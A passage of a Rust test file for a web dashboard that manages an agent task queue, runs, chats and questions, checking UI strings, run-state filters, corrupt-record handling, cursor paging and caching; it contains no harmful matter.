assert!(body.contains("renderTaskHoldBox(host"));
assert!(body.contains("renderTaskDoneBox(host"));
assert!(body.contains("renderTaskDeleteBox(host"));
assert!(APP_JS.contains("API.priority(id)"));
assert!(APP_JS.contains("API.deleteTask(id)"));
assert!(APP_JS.contains("location.hash = \"#/queue\""));
assert!(APP_JS.contains("$(\"task-actions-error\")"));
}
#[test]
fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
let actions = INDEX_HTML
.find("id=\"run-actions-box\"")
.expect("actions box");
assert!(task < actions, "the task entry comes first in the sheet");
assert!(APP_JS.contains("renderRunTaskEntry"));
assert!(APP_JS.contains("\"Open task \""));
assert!(APP_JS.contains("started directly, no task"));
assert!(APP_JS.contains("sheet-task-link"));
assert!(APP_JS.contains("task-chip-link"));
}
#[test]
fn the_deck_never_sends_the_operator_to_a_terminal() {
assert!(
!APP_JS.contains("Run `magi fold` first"),
"the deck must offer the fold, not prescribe a shell command"
);
assert!(APP_JS.contains("foldRun:"));
assert!(APP_JS.contains("resumeRun:"));
assert!(APP_JS.contains("renderRunActions"));
assert!(APP_JS.contains("armedFold"));
assert!(APP_JS.contains("Yes, fold worktrees"));
assert!(APP_JS.contains("can no longer be resumed"));
}
#[test]
fn a_finished_run_explains_itself_with_its_own_last_line() {
assert!(
!APP_JS.contains("collapsed on agent quota"),
"a stall must not be explained by a cause the deck did not check"
);
assert!(
!APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
"and a block must not offer a guess with an `or` in it"
);
assert!(
APP_JS.contains("setText(r.event, run.event || \"\")"),
"the run's last line is rendered unconditionally"
);
assert!(
!APP_JS.contains("moving && run.event"),
"and never gated on the run still moving"
);
assert!(APP_JS.contains("lost to quota"));
}
#[test]
fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
let shapes_body_start =
APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
let shapes_close = APP_JS[shapes_body_start..]
.find("].map(")
.expect("the shape list is closed by its done-computing .map(...)")
+ shapes_body_start;
let shapes_src = &APP_JS[shapes_body_start..shapes_close];
let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
for entry in shapes_src.split('{').skip(1) {
let waiting = entry.contains("waiting: true");
let dead = entry.contains("live: \"dead\"");
let status_at =
entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
let status_end = entry[status_at..]
.find('"')
.expect("the status string is closed")
+ status_at;
let parked = entry.contains("display_status: \"parked\"");
shapes.push((
waiting,
entry[status_at..status_end].to_string(),
dead,
parked,
));
}
assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
let done_rule_marker = "done: !";
let done_rule_at = APP_JS[shapes_close..]
.find(done_rule_marker)
.expect("the done rule follows the shape list")
+ shapes_close
+ done_rule_marker.len();
let includes_at = APP_JS[done_rule_at..]
.find(".includes(shape.status)")
.expect("the done rule ends in .includes(shape.status)")
+ done_rule_at;
let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
.trim()
.trim_start_matches('[')
.trim_end_matches(']')
.split(',')
.map(|s| s.trim().trim_matches('"'))
.filter(|s| !s.is_empty())
.collect();
let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
.into_iter()
.map(|(waiting, status, dead, parked)| {
let done = !not_done.contains(&status.as_str());
(waiting, status, dead, parked, done)
})
.collect();
fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
if waiting {
return "waiting";
}
if dead
&& !parked
&& !matches!(
status,
"merged"
| "ready"
| "stalled"
| "blocked"
| "failed"
| "verified_noop"
| "superseded"
| "already_in_base"
)
{
return "stale";
}
match status {
"merged" | "ready" => "landed",
"stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
| "already_in_base" => "ended",
_ => "flight",
}
}
fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
match filter_key {
"active" => !done,
"flight" => !done && !waiting && !dead,
"stale" => !done && !waiting && dead,
"waiting" => waiting,
"done" => done,
"all" => true,
other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
}
}
let compatible = |section: &str, filter_key: &str| {
shapes.iter().any(|(waiting, status, dead, parked, done)| {
run_section(*waiting, status, *dead, *parked) == section
&& filter_matches(filter_key, *waiting, *dead && !*parked, *done)
})
};
let expected = [
("waiting", [true, false, false, true, true, true]),
("stale", [true, false, true, false, false, true]),
("flight", [true, true, false, false, false, true]),
("landed", [false, false, false, false, true, true]),
("ended", [false, false, false, false, true, true]),
];
let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
for (section, wants) in expected {
for (filter_key, want) in filter_keys.iter().zip(wants) {
assert_eq!(
compatible(section, filter_key),
want,
"section {section:?} x filter {filter_key:?} should be compatible: {want}"
);
}
}
assert!(
APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
);
assert!(APP_JS.contains(
"if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
));
assert!(APP_JS.contains(
"if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
));
}
#[tokio::test]
async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
let dir = tempfile::tempdir().expect("tempdir");
let explicit = dir.path().join("not-a-checkout");
std::fs::create_dir_all(&explicit).expect("create dir");
assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
let missing = dir.path().join("does-not-exist-at-all");
assert_eq!(normalize_default_repo(missing.clone()).await, missing);
}
#[test]
fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
assert!(APP_JS.contains("function statsDonutArcs"));
assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
assert!(APP_JS.contains("function statusInBucket"));
assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
let buckets = [
"merged",
"ready",
"in_progress",
"blocked",
"failed",
"verified_noop",
"superseded",
"stalled",
];
for key in buckets {
let var = format!("--verdict-{key}:");
assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
assert!(
APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
"{key}"
);
}
}
#[tokio::test]
async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
let dir = tempfile::tempdir().expect("tempdir");
let queue = Queue::at(dir.path().join("queue"));
let talks = Talks::at(dir.path().join("talks"));
std::fs::create_dir_all(queue.root()).unwrap();
std::fs::create_dir_all(talks.root()).unwrap();
std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
let mut task = Task::new(
"title".into(),
"inst".into(),
PathBuf::from("/repo"),
Source::Human,
);
task.id = "20261019-123456-abcd".into();
std::fs::write(
queue.path_of(&task.id),
serde_json::to_string(&task).unwrap(),
)
.unwrap();
let talk_id = "20261019-234567-cdef";
seed_talk_at(&talks, talk_id, "open");
assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
}
#[tokio::test]
async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
std::fs::write(ui.queue.root(), "not a directory").unwrap();
std::fs::write(ui.talks.root(), "not a directory").unwrap();
assert!(
questions_list(State(ui.clone()))
.await
.unwrap()
.0
.is_empty()
);
assert!(
question_origins(State(ui.clone()))
.await
.unwrap()
.0
.is_empty()
);
let mut question = Question::new(
"run-history".into(),
"review".into(),
"seat".into(),
"Useful question".into(),
"Useful detail".into(),
vec![],
);
ui.questions.put(&mut question).unwrap();
let core = questions_core(State(ui.clone())).await.unwrap().0;
assert_eq!(core.len(), 1);
assert_eq!(core[0].question.summary, "Useful question");
assert!(!core[0].can_consult_chat);
assert!(core[0].origin_chat.is_none());
assert_eq!(core[0].record_revision, question_record_revision(&question));
assert!(question_origins(State(ui.clone())).await.is_err());
assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
}
#[tokio::test]
async fn question_origins_resolve_typed_links_without_expanding_consultation() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
let mut parent = Task::new(
"parent".into(),
"body".into(),
PathBuf::from("/repo"),
Source::Agent {
run: chat.clone(),
node: crate::queue::CHAT_NODE.into(),
},
);
parent.id = "parent-task".into();
parent.runs = vec!["parent-run".into()];
ui.queue.put(&mut parent).unwrap();
let mut previous = parent;
for generation in 1..=2 {
let mut child = Task::new(
"child".into(),
"body".into(),
PathBuf::from("/repo"),
Source::Human,
);
child.id = format!("child-task-{generation}");
child.runs = vec![format!("child-run-{generation}")];
child.followup = Some(crate::queue::FollowUp {
origin_task: Some(previous.id.clone()),
run: previous.runs[0].clone(),
pr: String::new(),
findings: vec![],
generation,
});
ui.queue.put(&mut child).unwrap();
previous = child;
}
let mut collision = Task::new(
"collision".into(),
String::new(),
PathBuf::from("/repo"),
Source::Human,
);
collision.id = "collision-task".into();
collision.runs = vec![previous.id.clone()];
ui.queue.put(&mut collision).unwrap();
let mut questions = Vec::new();
for (node, reference, expected, eligible) in [
(crate::triage::NODE, previous.id.as_str(), true, false),
(crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
("review", previous.runs[0].as_str(), true, true),
(
crate::bump::NOTICE_NODE,
previous.runs[0].as_str(),
true,
false,
),
("review", previous.id.as_str(), false, false),
(crate::triage::NODE, previous.runs[0].as_str(), false, true),
("review", "unrelated", false, false),
] {
let mut q = Question::new(
reference.into(),
node.into(),
"seat".into(),
"Question".into(),
String::new(),
vec![],
);
ui.questions.put(&mut q).unwrap();
questions.push((q, expected, eligible));
}
for (node, reference, associated, eligible) in [
(crate::reconcile::NODE, previous.id.as_str(), true, false),
(
crate::reconcile::NODE,
previous.runs[0].as_str(),
false,
true,
),
("implement", previous.id.as_str(), false, false),
] {
let mut q = Question::new(
reference.into(),
node.into(),
crate::reconcile::SEAT.into(),
"Reconcile".into(),
String::new(),
vec![],
);
ui.questions.put(&mut q).unwrap();
questions.push((q, associated, eligible));
}
let mut release = Question::new(
"release-record".into(),
crate::bump::NOTICE_NODE.into(),
"release-watch".into(),
"Release".into(),
String::new(),
vec![],
);
ui.questions.put(&mut release).unwrap();
let watch = crate::release_watch::WatchState {
question: Some(release.id.clone()),
run: Some(previous.runs[0].clone()),
held_task: Some(previous.id.clone()),
..Default::default()
};
let watch_dir = home.path().join("release-watch");
std::fs::create_dir_all(&watch_dir).unwrap();
let watch_path = watch_dir.join("watch.json");
std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
for batch in [
Vec::new(),
questions.iter().map(|(q, _, _)| q.clone()).collect(),
] {
let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
assert!(watches.is_empty());
}
questions.push((release.clone(), true, false));
let views = questions_list(State(ui.clone())).await.unwrap().0;
let origins = question_origins(State(ui.clone())).await.unwrap().0;
for (q, associated, eligible) in &questions {
let view = views.iter().find(|view| view.question.id == q.id).unwrap();
let origin = origins.iter().find(|view| view.id == q.id).unwrap();
let expected = associated.then_some(chat.as_str());
assert_eq!(
view.origin_chat.as_deref(),
expected,
"{} {}",
q.node,
q.run
);
assert_eq!(origin.origin_chat.as_deref(), expected);
assert_eq!(view.origin_chat_closed, *associated);
assert_eq!(origin.origin_chat_closed, *associated);
assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
assert_eq!(origin.can_consult_chat, *eligible);
}
for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
let link = crate::release_watch::WatchState {
run,
held_task,
..watch.clone()
};
std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
let (tasks, talks, watches) =
question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
assert_eq!(
crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
.unwrap()
.id,
chat,
);
assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
}
std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
let duplicate_path = watch_dir.join("duplicate.json");
std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
let (tasks, talks, watches) =
question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
assert!(
crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
.is_none()
);
std::fs::remove_file(duplicate_path).unwrap();
let mut unrelated = Task::new(
"other".into(),
String::new(),
PathBuf::from("/repo"),
Source::Human,
);
unrelated.id = "unrelated-task".into();
ui.queue.put(&mut unrelated).unwrap();
let mut conflicting = watch.clone();
conflicting.held_task = Some(unrelated.id);
std::fs::write(
watch_dir.join("conflict.json"),
serde_json::to_vec(&conflicting).unwrap(),
)
.unwrap();
let (tasks, talks, watches) =
question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
assert!(
crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
.is_none()
);
std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
for origin in question_origins(State(ui.clone())).await.unwrap().0 {
assert!(origin.origin_chat.is_none());
assert!(!origin.origin_chat_closed);
}
}
#[test]
fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
for i in 0..1000 {
let mut task = Task::new(
"unrelated".into(),
"instruction ".repeat(256),
PathBuf::from("/repo"),
Source::Human,
);
task.id = format!("history-{i:04}");
ui.queue.put(&mut task).unwrap();
let id = seed_talk_at(&ui.talks, &task.id, "open");
let mut talk = ui.talks.get(&id).unwrap();
talk.pending = "history ".repeat(256);
ui.talks.put(&mut talk).unwrap();
}
let mut parent = Task::new(
"parent".into(),
"body".into(),
PathBuf::from("/repo"),
Source::Agent {
run: chat_id.clone(),
node: crate::queue::CHAT_NODE.into(),
},
);
parent.id = "task-parent".into();
parent.runs = vec!["run-parent".into()];
ui.queue.put(&mut parent).unwrap();
let mut child = Task::new(
"child".into(),
"body".into(),
PathBuf::from("/repo"),
Source::Human,
);
child.id = "task-child".into();
child.runs = vec!["run-child".into()];
child.followup = Some(crate::queue::FollowUp {
run: "run-parent".into(),
origin_task: Some(parent.id.clone()),
pr: "https://example.invalid/pr/1".into(),
findings: vec![],
generation: 1,
});
ui.queue.put(&mut child).unwrap();
let mut question = Question::new(
child.id.clone(),
crate::conduct::NODE.into(),
"seat".into(),
"Continue?".into(),
String::new(),
vec![],
);
let (tasks, talks, _watches) =
question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
assert_eq!(tasks.len(), 2);
assert_eq!(talks.len(), 1);
assert_eq!(
ui.monitor.queue_index.lock().unwrap().reparsed,
0,
"exact ancestry bypasses the index"
);
assert_eq!(
crate::consult::origin_talk(&tasks, &talks, &question)
.unwrap()
.id,
chat_id
);
question.run = "run-child".into();
question.node = "review".into();
for origin_task in [Some(parent.id.clone()), None] {
child.followup.as_mut().unwrap().origin_task = origin_task;
ui.queue.put(&mut child).unwrap();
let (tasks, talks, _watches) =
question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
let expected =
crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
.unwrap();
assert_eq!(actual.id, expected.id);
assert!(!actual.status.open());
let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
}
child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
ui.queue.put(&mut child).unwrap();
std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
let (tasks, talks, _watches) =
question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
child.origin_chat = Some(chat_id.clone());
ui.queue.put(&mut child).unwrap();
let (tasks, talks, _watches) =
question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
assert_eq!(
crate::consult::origin_talk(&tasks, &talks, &question)
.unwrap()
.id,
chat_id
);
let revision = question_record_revision(&question);
question.abandon("settled elsewhere");
assert_ne!(revision, question_record_revision(&question));
assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
let (tasks, talks, _watches) =
question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
}
#[test]
fn list_cursors_freeze_membership_and_expire_explicitly() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
std::fs::create_dir_all(ui.queue.root()).unwrap();
for i in 0..40 {
std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
}
let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
assert_eq!(first.len(), STORE_PAGE_SIZE);
let cursor = cursor.unwrap();
std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
let (second, _) = page_ids(
&ui,
false,
PageQuery {
before: Some(cursor.clone()),
},
)
.unwrap();
assert_eq!(second[0], "record-0023");
assert!(second.iter().all(|id| !first.contains(id)));
assert!(
page_ids(
&ui,
true,
PageQuery {
before: Some(cursor.clone())
}
)
.is_err()
);
let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
assert_eq!(fresh[0], "record-9999");
ui.monitor.list_walks.lock().unwrap().clear();
assert!(
page_ids(
&ui,
false,
PageQuery {
before: Some(cursor)
}
)
.is_err()
);
}
#[tokio::test]
async fn talk_pages_load_every_open_then_frozen_closed_history() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
for i in 0..23 {
seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
}
for i in 0..45 {
seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
}
std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
let first = talks_page(
State(ui.clone()),
Query(PageQuery::default()),
header::HeaderMap::new(),
)
.await
.unwrap()
.0;
assert_eq!(
first.rows.iter().filter(|row| row.status.open()).count(),
23
);
assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
assert!(first.rows[..23].iter().all(|row| row.status.open()));
let parsed = ui
.monitor
.talk_parses
.load(std::sync::atomic::Ordering::Relaxed);
assert_eq!(
parsed,
first.rows.len(),
"closed bodies outside this page are not restored"
);
let fresh = talks_page(
State(ui.clone()),
Query(PageQuery::default()),
header::HeaderMap::new(),
)
.await
.unwrap()
.0;
assert_eq!(fresh.rows.len(), first.rows.len());
assert_eq!(
ui.monitor
.talk_parses
.load(std::sync::atomic::Ordering::Relaxed),
parsed
);
let mut seen: std::collections::HashSet<_> =
first.rows.iter().map(|row| row.id.clone()).collect();
seed_talk_at(&ui.talks, "20261019-000000-000", "open");
seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
let mut next = first.next;
while let Some(cursor) = next {
let page = talks_page(
State(ui.clone()),
Query(PageQuery {
before: Some(cursor),
}),
header::HeaderMap::new(),
)
.await
.unwrap()
.0;
assert!(page.rows.len() <= STORE_PAGE_SIZE);
for row in page.rows {
assert!(seen.insert(row.id), "a cursor must not repeat membership");
}
next = page.next;
}
let expected: HashSet<_> = (0..23)
.map(|i| format!("20260101-000000-{i:03}"))
.chain(
(0..45)
.filter(|i| *i != 1)
.map(|i| format!("20261019-000000-{i:03}")),
)
.collect();
assert_eq!(
seen, expected,
"the cursor walk must return every surviving ID"
);
let refreshed = talks_page(
State(ui.clone()),
Query(PageQuery::default()),
header::HeaderMap::new(),
)
.await
.unwrap()
.0;
assert_eq!(
refreshed
.rows
.iter()
.filter(|row| row.status.open())
.count(),
23
);
assert!(
refreshed
.rows
.iter()
.any(|row| row.id == "20261019-000000-000")
);
assert!(
!refreshed
.rows
.iter()
.any(|row| row.id == "20260101-000000-000")
);
}
#[test]
fn talk_pages_with_only_open_rows_have_no_history_cursor() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
for i in 0..STORE_PAGE_SIZE + 5 {
seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
}
let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
assert!(next.is_none());
}
#[test]
fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
struct Counted<R> {
inner: R,
bytes: usize,
}
impl<R: std::io::Read> std::io::Read for Counted<R> {
fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
let n = self.inner.read(buf)?;
self.bytes += n;
Ok(n)
}
}
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let id = seed_talk_at(&ui.talks, "header-chat", "closed");
let mut chat = ui.talks.get(&id).unwrap();
for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
chat.turns = vec![
serde_json::from_value(serde_json::json!({
"who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
}))
.unwrap(),
];
for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
chat.status = status;
let body = serde_json::to_vec_pretty(&chat).unwrap();
let mut reader = Counted {
inner: body.as_slice(),
bytes: 0,
};
assert_eq!(read_talk_status(&mut reader), Some(status));
assert!(
reader.bytes <= 1024,
"header classification read {} bytes",
reader.bytes
);
}
}
let noncanonical = format!(
r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
"x".repeat(1024 * 1024)
);
let mut reader = Counted {
inner: noncanonical.as_bytes(),
bytes: 0,
};
assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
assert!(reader.bytes <= 1024);
let oversized = format!(
r#"{{"agent":"{}","status":"open"}}"#,
"x".repeat(128 * 1024)
);
let mut reader = Counted {
inner: oversized.as_bytes(),
bytes: 0,
};
assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
assert!(reader.bytes <= 64 * 1024);
}
#[test]
fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
seed_talk_at(&ui.talks, "header-chat", "open");
std::fs::create_dir_all(ui.queue.root()).unwrap();
let (started, ready) = std::sync::mpsc::channel();
let (release, wait) = std::sync::mpsc::channel();
let chat_ui = ui.clone();
let scan = std::thread::spawn(move || {
page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
started.send(()).unwrap();
wait.recv().unwrap();
open_talk_ids(ui, ids)
})
.unwrap()
});
ready.recv_timeout(Duration::from_secs(2)).unwrap();
let (finished, result) = std::sync::mpsc::channel();
let queue = std::thread::spawn(move || {
finished
.send(page_ids(&ui, false, PageQuery::default()).is_ok())
.unwrap();
});
let completed = result.recv_timeout(Duration::from_secs(2));
release.send(()).unwrap();
scan.join().unwrap();
queue.join().unwrap();
assert!(
completed.unwrap(),
"queue paging must not wait for chat header I/O"
);
}
#[test]
fn talk_status_projection_does_not_cache_files_changed_during_read() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let ids = vec!["changing-chat".to_owned()];
seed_talk_at(&ui.talks, &ids[0], "closed");
assert!(open_talk_ids(&ui, &ids).is_empty());
seed_talk_at(&ui.talks, &ids[0], "open");
let open = open_talk_ids_with(&ui, &ids, |path| {
let value: serde_json::Value =
serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
seed_talk_at(&ui.talks, &ids[0], "closed");
serde_json::from_value(value["status"].clone()).ok()
});
assert!(open.contains(&ids[0]));
assert!(
ui.monitor
.talk_status_index
.lock()
.unwrap()
.records
.is_empty()
);
assert!(open_talk_ids(&ui, &ids).is_empty());
assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
}
#[test]
fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let headers = header::HeaderMap::new();
seed_talk_at(&ui.talks, "open-chat", "open");
seed_talk_at(&ui.talks, "closed-chat", "closed");
talk_rows(
&ui,
vec!["open-chat".into(), "closed-chat".into()],
&headers,
);
{
let mut index = ui.monitor.talk_index.lock().unwrap();
let closed = index["closed-chat"].1.clone();
for i in 0..1000 {
index.insert(
format!("cached-closed-{i}"),
(
file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
closed.clone(),
),
);
}
}
assert_eq!(
talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
1
);
assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
assert_eq!(
ui.monitor
.talk_parses
.load(std::sync::atomic::Ordering::Relaxed),
2
);
{
let mut index = ui.monitor.talk_index.lock().unwrap();
let open = index["open-chat"].1.clone();
for i in 0..1000 {
index.insert(
format!("cached-open-{i}"),
(
file_identity(&ui.talks.path_of("open-chat")).unwrap(),
open.clone(),
),
);
}
}
assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
assert_eq!(
ui.monitor
.talk_parses
.load(std::sync::atomic::Ordering::Relaxed),
2
);
}
#[test]
fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
std::fs::create_dir_all(ui.talks.root()).unwrap();
let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
for id in &ids {
std::fs::write(
ui.talks.path_of(id),
r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
)
.unwrap();
}
assert!(open_talk_ids(&ui, &ids).is_empty());
assert_eq!(
ui.monitor.talk_status_index.lock().unwrap().parses,
ids.len()
);
assert!(open_talk_ids(&ui, &ids).is_empty());
assert_eq!(
ui.monitor.talk_status_index.lock().unwrap().parses,
ids.len()
);
std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
assert_eq!(
open_talk_ids(&ui, &ids),
std::collections::HashSet::from([ids[0].clone()])
);
let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
assert_eq!(parsed, ids.len() + 2);
open_talk_ids(&ui, &ids);
assert_eq!(
ui.monitor.talk_status_index.lock().unwrap().parses,
parsed,
"unreadable rows are cached too"
);
std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
assert!(
!ui.monitor
.talk_status_index
.lock()
.unwrap()
.records
.contains_key(&ids[0])
);
assert!(
ui.monitor.talk_index.lock().unwrap().is_empty(),
"classification never caches bodies"
);
}
#[tokio::test]
async fn stats_queue_index_counts_only_fresh_readable_statuses() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let mut task = Task::new(
"task".into(),
"body".into(),
PathBuf::from("/repo"),
Source::Human,
);
ui.queue.put(&mut task).unwrap();
assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
let expected = parsed + usize::from(!cfg!(unix));
assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
task.status = crate::queue::TaskStatus::Held;
ui.queue.put(&mut task).unwrap();
assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
ui.queue.put(&mut task).unwrap();
assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
}
#[tokio::test]
async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
*ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
let before = health(State(ui.clone())).await.unwrap().0;
ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
let after = health(State(ui)).await.unwrap().0;
assert_ne!(before.notifications_rev, after.notifications_rev);
assert_eq!(after.notifications_unread, 1);
}
#[tokio::test]
async fn list_pages_bound_history_and_keep_dependency_evidence() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let queue = &ui.queue;
let talks = &ui.talks;
for i in 0..1000 {
let id = format!("20261019-{i:06}-page");
let mut task = Task::new(
"task".into(),
"instruction".repeat(100),
PathBuf::from("/repo/magi"),
Source::Human,
);
task.id = id.clone();
if i == 0 {
task.status = crate::queue::TaskStatus::Held;
} else if i == 999 {
task.status = crate::queue::TaskStatus::Blocked;
task.blocked_by = vec!["20261019-000000-page".into()];
}
queue.put(&mut task).unwrap();
seed_talk_at(talks, &id, "closed");
}
let page = serde_json::to_value(
